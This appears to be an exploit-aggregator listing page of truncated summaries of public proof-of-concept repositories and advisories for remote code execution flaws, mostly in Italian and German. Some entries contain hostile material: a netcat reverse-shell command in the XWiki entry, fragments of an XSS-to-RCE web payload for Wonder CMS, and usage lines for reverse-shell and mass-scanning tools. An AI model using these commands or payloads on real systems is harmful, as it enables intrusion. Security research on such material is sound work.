CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE Exploit Dieses Repository enthält einen vollständigen Proof-of-Concept PoC für CVE-2025-24813 , eine Remote-Code-Execution-Schwachstelle RCE in Apache Tomcat, die mithilfe der HTTP-PUT-Methode eine bösartige JSP-Web-Shell bereitstellt. 🔥 Dieser Exploit...

CVE-2017-12149

CVE-2017-12149 Codificato da 1337g Uso: CVE-2017-12149.py http://targetip:port/ JBOSS RCE Non ho idea del perché non funzioni con https...

CVE-2025-24893

CVE-2025-24893 Exploit di Remote Code Execution per XWiki per versioni precedenti a 15.10.11, 16.4.1 e 16.5.0RC1. Utilizzo $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Usalo solo per scopi etici :...

Exploits_CVE-2019-19781

Exploit di Remote Code Execution CVE-2019-19781 - Citrix Application Delivery Controller e Gateway Exploit di Remote Code Execution per Citrix Application Delivery Controller e Citrix Gateway CVE-2019-19781 Utilizzo: bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE es: bash...

CVE-2021-40444

Microsoft MSHTML Remote Code Execution Vulnerability CVE-2021-40444 Come disabilitare i controlli ActiveX su un singolo sistema? 1. Per disabilitare l'installazione dei controlli ActiveX in Internet Explorer in tutte le zone, incollare quanto segue in un file di testo e salvarlo con estensione...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC Nome dello script PoC: poc.py Uno script exploit proof-of-concept per CVE-2025-1302, che mira a una vulnerabilità RCE nella libreria jsonpath-plus. Quando viene eseguito contro un endpoint di servizio vulnerabile, lo script tenta di innescare l'esecuzione remot...

CVE-2026-103889 3D Product configurator for WooCommerce <= 2.16.2 - Unauthenticated Remote Code Execution via 'xpv_image' Parameter

The 3D Product configurator for WooCommerce plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.16.2 via the 'xpvimage' parameter parameter. This is due to missing authentication and nonce checks on the wploaded handler combined with no sanitization...

EUVD-2026-96055

The 3D Product configurator for WooCommerce plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.16.2 via the 'xpvimage' parameter parameter. This is due to missing authentication and nonce checks on the wploaded handler combined with no sanitization...

CVE-2026-103889

The 3D Product configurator for WooCommerce plugin for WordPress (versions

CVE-2021-45010

CVE-2021-45010 Titolo dell'exploit: Tiny File Manager 2.4.6 Autenticato Esecuzione di codice remoto Data: 04 Mar 2023 Autore dell'exploit: Syd Software Link: https://github.com/prasathmani/tinyfilemanager Versione: Tiny File Manager = 2.4.3 Testato su: Parrot OS 20.04 CVE : CVE-2021-45010...

CVE-2018-8097

CVE-2018-8097 PoC Questo è un semplice script Python di dimostrazione concettuale PoC che dimostra la CVE-2018-8097, che riguarda la libreria PyEve per versioni 0.7.5 Utilizzo usage: cve20188097.py -h -u URL -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Target U...

CVE-2023-41425

https://sploitus.com/exploit?id=3A833277-4844-5F02-AFEF-5EA6BA8AC1AC Wonder CMS RCE | | Descrizione : XSS a RCE, Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ JS payload that will install the new theme cat xssrce.js var xhr=new XMLHttpRequest; xhr.open"GET",...

CVE-2019-15120

CVE-2019-15120 Exploit für XSS via BBCode in der Kunena-Erweiterung vor Version 5.1.14 für Joomla! Informationen Beschreibung: In der Kunena-Erweiterung vor Version 5.1.14 für Joomla! ist es möglich, dass jeder Benutzer einen gespeicherten XSS-Angriff ausführt, indem er eine spezielle Nachricht i...

react2shell

React2Shell - CVE-2025-55182 Exploit PoC Un proof-of-concept dell'exploit per CVE-2025-55182, una vulnerabilità critica di Remote Code Execution nelle applicazioni Next.js che utilizzano React Server Components. ⚠️ DISCLAIMER QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA EDUCATIVI E AUTORIZZATI. ❌...

langflow-CVE-2026-33017-poc

CVE-2026-33017 — PoC di RCE non autenticata in Langflow Solo per scopi educativi e test autorizzati. Riepilogo Langflow = 1.8.1 espone un endpoint pubblico di build dei flow che accetta dati di flow controllati dall'attaccante contenenti codice arbitrario. Questi dati vengono passati a...

CVE-2021-22986

F5 BIG-IP RCE / Vulnerabilità di Esecuzione di Codice Remota CVE-2021-22986 Code By:Tas9er AVVERTENZA Questo strumento è progettato per aiutare le aziende a individuare e correggere rapidamente le vulnerabilità. Deve essere utilizzato solo per test di sicurezza autorizzati, in stretta conformità...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Utilizzo Reverse shell python3 CVE-2022-22947.py URLdidestinazione IPdelreverseshell porta Esecuzione comandi python3 CVE-2022-22947.py URLdidestinazione comando...

PanOsExploitMultitool

PanOsExploitMultitool Exploitation- und Post-Exploitation-Multitool für Palo Alto PAN-OS-Systeme, die von den Schwachstellen CVE-2024-0012 und CVE-2024-9474 betroffen sind Während der frühen Ausnutzung der Remote-Code-Ausführungsschwachstellen CVE-2024-0012 und CVE-2024-9474 habe ich eine Shell...

Mass-scanner-for-CVE-2019-0708-RDP-RCE-Exploit

Mass-scanner-for-CVE-2019-0708-RDP-RCE-Exploit Dieses Skript wurde geschrieben, um dieses PoC-Skript zu verbessern: https://github.com/zerosum0x0/CVE-2019-0708 Die rdesktop-Binärdatei brauchte zu lange für den Timeout, also wollte ich, dass sie schneller ein Timeout auslöst Das Scannen mehrerer I...

CVE-2022-30778

Attenzione La vulnerabilità è stata revocata Override Questo riguarda CVE-2021-43503. Requisiti PHP = 8.0 Composer Riprodurre la vulnerabilità 1. Avvio del servizio composer install cp .env.example .env php artisan key:generate php artisan serve it will listening 8000 port in localhost 2. PoC...